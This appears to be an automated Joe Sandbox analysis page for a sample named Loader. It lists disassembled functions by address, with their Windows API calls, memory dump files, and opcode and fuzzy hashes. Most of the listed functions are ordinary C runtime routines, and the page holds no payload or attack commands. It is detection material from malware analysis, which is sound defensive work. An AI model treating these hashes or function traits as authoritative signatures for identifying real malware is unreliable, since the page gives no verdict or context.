Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 250216e97d1c360cb3c36f049c7765bbcb52d665ec0aa20eb8b8d761aa535b64
Instruction ID: 622dde9f5bed4f97b6720f98ea49b2198f6895b9a0fc19e296febd55bd5934af
Opcode Fuzzy Hash: 250216e97d1c360cb3c36f049c7765bbcb52d665ec0aa20eb8b8d761aa535b64
Instruction Fuzzy Hash: C711E53B600B059FDB199F39C8D16BAB791FF80768F19452CE9868BA40E775B942C740

Function 0033B27D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0033AF0C,00000000,00000000,?), ref: 0033B2A9

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f573901af2d0f18f5dd791d6be3921f4a807d298803e41673259222644ac5d4b
Instruction ID: f5f57e024f23006334e97711e2fc43e6809b09f4bd67ab36e0592c0d21663146
Opcode Fuzzy Hash: f573901af2d0f18f5dd791d6be3921f4a807d298803e41673259222644ac5d4b
Instruction Fuzzy Hash: 47014932610116BBDB295A218C86BBFB758EB40328F154929EE16E7190EB30FE41C694

Function 0033AF43 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

EnumSystemLocalesW.KERNEL32(0033AFB0,00000001,?,?,-00000050,?,0033AA9B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0033AF8D

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ea6d0f20e95a2719cef3c49b6088aa22374ee364d07509f360e658fa6e2a4f55
Instruction ID: f6b076f774358e068369cf8bde4d16673a38c823a65b176ed2f54ac9353f2fde
Opcode Fuzzy Hash: ea6d0f20e95a2719cef3c49b6088aa22374ee364d07509f360e658fa6e2a4f55
Instruction Fuzzy Hash: 69F046762007045FCB266F34DCC1A7ABB94FF80368F05492CFA868B680C771AC02C640

Function 003368BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00331CD1: EnterCriticalSection.KERNEL32(?,?,00335D98,?,0034FC38,00000008,00335C8A,00000000,00000000,?), ref: 00331CE0

EnumSystemLocalesW.KERNEL32(003368B0,00000001,0034FCB8,0000000C,003362B1,-00000050), ref: 003368F5

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: b771e55e0b0967f67aa5267e969912ac3ff528fbafec39da89244bb212023aba
Instruction ID: 4acf2a56b49078029e9d23482cb51e7df0fc163cbb75b17bc0f93028e1c56038
Opcode Fuzzy Hash: b771e55e0b0967f67aa5267e969912ac3ff528fbafec39da89244bb212023aba
Instruction Fuzzy Hash: 13F0E776A40314EFD702EFA8E882B9D7BF0FB48725F10856AE4119B2A1DB7559018F44

Function 0033B085 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

EnumSystemLocalesW.KERNEL32(0033B0D0,00000001,?,?,?,0033AAF5,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0033B0BC

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 70befb509299f545d333434893bd3dbf27afee8296503a2596414afc1eb8a24e
Instruction ID: 37c5edbf9fbacbbad07e0e2b80f65db9742062e555f7fe02b2e461b48d279722
Opcode Fuzzy Hash: 70befb509299f545d333434893bd3dbf27afee8296503a2596414afc1eb8a24e
Instruction Fuzzy Hash: 0CF0E53A30020997CB1AAF35D89576BBF94EFC1B60F0B4458EB198F291D7769842C790

Function 003363B5 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00330A23,?,20001004,00000000,00000002,?,?,0032F931), ref: 003363E9

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9471327509d684e43d102c23236ae2e591f2c385f813cb36a054e0ac44911b18
Instruction ID: a8be5297092927087a2d1abd6da7f4c8fab46b173b5fea76789ba035e44d60b8
Opcode Fuzzy Hash: 9471327509d684e43d102c23236ae2e591f2c385f813cb36a054e0ac44911b18
Instruction Fuzzy Hash: DBE04F3A500128BFCF132F61EC46AAE7E2AFF45B61F018014FC056A131CB769920AAD0

Function 00329A27 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009B50), ref: 00329A2C

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: afbef1a321311397b2fe0e5e8092e7ddb124a68487e8e11875266e1b5a78198d
Instruction ID: 64f031655bc94b838e53bea977ae0e25a0a3469321b8eec5d99c575edec462b8
Opcode Fuzzy Hash: afbef1a321311397b2fe0e5e8092e7ddb124a68487e8e11875266e1b5a78198d
Instruction Fuzzy Hash:

Function 0032C044 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

2, xrefs: 0032C0B1

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: ac9a93b9e31b62440016077258f875d3d6353f937dcec75d45cb0e711f04b238
Instruction ID: 8a1b8641ccb6ab29eb90545eb8fac2e11d135e45fdace7c6f6be461e98353b5a
Opcode Fuzzy Hash: ac9a93b9e31b62440016077258f875d3d6353f937dcec75d45cb0e711f04b238
Instruction Fuzzy Hash: E6014F6A58D3C13FCB939B3005B06D2BFA11C27280F4C60D5C5C14F763E902954BEB81

Function 00336FE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00336FE0

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 49e52973e24ad0b22ac46a7e5cf36a04e4440bd95cb44b2576fe96f807e723dc
Instruction ID: 294b98c3a5ee05626c93cb5923ed49eeedf217c50564ed00bc403a89fb008a02
Opcode Fuzzy Hash: 49e52973e24ad0b22ac46a7e5cf36a04e4440bd95cb44b2576fe96f807e723dc
Instruction Fuzzy Hash: F6A012341002018F67414F315904B0836DCA501781B044054E014C4070DB2040405F00

Function 00321BA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347daff65e94d82f7958896c9d802667092a148e51cf0566f3480d3e15985e59
Instruction ID: 1ce645c35863a1a01ed98d9729e4e6606c5e4317c302d29d915a505b118c39f3
Opcode Fuzzy Hash: 347daff65e94d82f7958896c9d802667092a148e51cf0566f3480d3e15985e59
Instruction Fuzzy Hash: 07D0927A641A58AFC211CF4AE440D41F7BCFB8E771B154166EA4893B20C331FC12CAE0

Function 00344192 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02A0FD60,02A0FD60,00000000,7FFFFFFF,?,0034417D,02A0FD60,02A0FD60,00000000,02A0FD60,?,?,?,?,02A0FD60,00000000), ref: 00344238
__alloca_probe_16.LIBCMT ref: 003442F3
__alloca_probe_16.LIBCMT ref: 00344382
__freea.LIBCMT ref: 003443CD
__freea.LIBCMT ref: 003443D3
__freea.LIBCMT ref: 00344409
__freea.LIBCMT ref: 0034440F
__freea.LIBCMT ref: 0034441F

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 843ac4146b43c1fa775d9d25e1b9eb78b8d09c96f97a63be4ce21bce6a9f9e8c
Instruction ID: bbe83e61c24784104688c445400c4bf9fb257c9af3f71115031e16d73b20a00e
Opcode Fuzzy Hash: 843ac4146b43c1fa775d9d25e1b9eb78b8d09c96f97a63be4ce21bce6a9f9e8c
Instruction Fuzzy Hash: A3710472900259ABDF239E959C82BAE77F9AF49710F2A0539F904BF281D775BC108750

Function 00338576 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003385FC

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b258c23f8f5adf4b5b829db56bad2fb8a7efe0f2db3ca2ba46b92337591bc9f9
Instruction ID: 6d79685e0c2747eaea848289b804a42b9ab23d8f486748fcfb1b4f2673e8b016
Opcode Fuzzy Hash: b258c23f8f5adf4b5b829db56bad2fb8a7efe0f2db3ca2ba46b92337591bc9f9
Instruction Fuzzy Hash: 2CB12672A003559FDB138F24CCC2BAEBBA5EF55350F294165FA05AF282DB74D941C7A0

Function 00334D0C Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00334E2B
CallUnexpected.LIBVCRUNTIME ref: 003350A4

Strings

xf4, xrefs: 00334E22
csm, xrefs: 00334E62
csm, xrefs: 00334DB6
csm, xrefs: 00334D49

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm$xf4
API String ID: 2673424686-2576437276
Opcode ID: 3d12451c104b19b514fa68dba9808521b99e6a89b992400e161383438ef1a432
Instruction ID: ecbfcbb52abac7ba72d48bf79c56ca2601a79c4a369c954a59224a9cbde117ae
Opcode Fuzzy Hash: 3d12451c104b19b514fa68dba9808521b99e6a89b992400e161383438ef1a432
Instruction Fuzzy Hash: 70B18831800219EFCF1ADFA5D8C19AEBBB5BF14300F16456AE9156F212C331EA51CB91

Function 0032AB70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0032ABA7
___except_validate_context_record.LIBVCRUNTIME ref: 0032ABAF
_ValidateLocalCookies.LIBCMT ref: 0032AC38
__IsNonwritableInCurrentImage.LIBCMT ref: 0032AC63
_ValidateLocalCookies.LIBCMT ref: 0032ACB8

Strings

csm, xrefs: 0032AC4D

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e24b4aa2e2e4209cfaf7e3b3196245ba70361da3fed1de9d5ec385b482f32a7f
Instruction ID: 02322ada8c7d2987d8e7e2810c14ea0c0eeb8b78d7a9ada5d1137cf792450df7
Opcode Fuzzy Hash: e24b4aa2e2e4209cfaf7e3b3196245ba70361da3fed1de9d5ec385b482f32a7f
Instruction Fuzzy Hash: E341D134A00A389BCF16DF68E881A9EBBB5BF05324F158155E8159F352CB35EA05CFD2

Function 00342E5C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3bec364397e5842097b76dedbd7d68ef1add4973839a2b1947dbd71315bbd6f
Instruction ID: 540a5341f5203e5e223cfc8acceab2854a902cb909159860d5598a557f7da970
Opcode Fuzzy Hash: e3bec364397e5842097b76dedbd7d68ef1add4973839a2b1947dbd71315bbd6f
Instruction Fuzzy Hash: AAB1A270A04249AFDB13DFA9C881BAEBBF5BF4A310F554258E4059F292D771AE41CB60

Function 0033442D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00334424,0032A93D,00329B94), ref: 0033443B
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00334449
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00334462
SetLastError.KERNEL32(00000000,00334424,0032A93D,00329B94), ref: 003344B4

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5ec5f6dd04dfbda11966307a201332a54bc5484e944785ecb759e2612f6156f1
Instruction ID: 5f37e4225c9c40677a6d429e3e28a0ec4a97d1aa88f92eba13736c459f04d0d7
Opcode Fuzzy Hash: 5ec5f6dd04dfbda11966307a201332a54bc5484e944785ecb759e2612f6156f1
Instruction Fuzzy Hash: 3B01F73250A7116EF72B2B76BCC5A6B2A8CEB5277AF200339F510691F1FF526C015280

Function 0032F1B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,DAF5BA3C,?,?,00000000,00345644,000000FF,?,0032F279,0032F160,?,0032F315,00000000), ref: 0032F1ED
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0032F1FF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00345644,000000FF,?,0032F279,0032F160,?,0032F315,00000000), ref: 0032F221

Strings

mscoree.dll, xrefs: 0032F1E6
CorExitProcess, xrefs: 0032F1F7

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fa6567375c21b59de27572fae9f6ce553544b4f205f329b87cbd08133f5be99f
Instruction ID: c0d5511847f96dd9e7067bdcd1c1fc72786e63df5b4519fb723e11832b84fa20
Opcode Fuzzy Hash: fa6567375c21b59de27572fae9f6ce553544b4f205f329b87cbd08133f5be99f
Instruction Fuzzy Hash: D9018439940629EFDB139B50EC45FAEBBF8FB05B12F010625E811A62A0DB74A800CA90

Function 003277B2 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003277B9
std::_Lockit::_Lockit.LIBCPMT ref: 003277C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00327832

Part of subcall function 003276AF: std::locale::_Locimp::_Locimp.LIBCPMT ref: 003276C7

std::locale::_Setgloballocale.LIBCPMT ref: 003277DF
_Yarn.LIBCPMT ref: 003277F5

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fb14af988626b80cd22ba13bf44b734b5c77d6c083c7cfc91f43d7ee7bd6a1c8
Instruction ID: 099251ce804f2185c58b59a94d1ae8aea9c1ad6e21ce91ae3e161f762c67a148
Opcode Fuzzy Hash: fb14af988626b80cd22ba13bf44b734b5c77d6c083c7cfc91f43d7ee7bd6a1c8
